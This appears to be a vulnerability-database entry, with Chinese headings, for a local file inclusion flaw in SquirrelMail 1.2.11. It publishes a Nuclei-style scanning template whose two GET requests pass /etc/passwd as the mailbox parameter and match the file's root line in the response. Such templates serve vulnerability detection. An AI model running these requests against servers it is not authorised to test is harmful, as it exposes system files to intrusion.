squirrelmail-lfi: SquirrelMail 1.2.11 - Local File Inclusion

日期: 2025-08-01 | 影响软件: SquirrelMail | POC: 已公开

漏洞描述

SquirrelMail 1.2.11 is vulnerable to local file inclusion.

PoC代码[已公开]

id: squirrelmail-lfi

info:
  name: SquirrelMail 1.2.11 - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: SquirrelMail 1.2.11 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/22793
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: lfi,squirrelmail,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/src/read_body.php?mailbox=/etc/passwd&passed_id=1&"
      - "{{BaseURL}}/src/download.php?absolute_dl=true&passed_id=1&passed_ent_id=1&mailbox=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022062ec3f064f3e6673433588d3fdd4c863c04eb6931156afa6579399f14a44b5a7022100a86ae82540568b1ceaa7de9ec77fb918cfac7525d51999a443de87116ec0c8cc:922c64590222798bb761d5b6d8e72950

相关漏洞推荐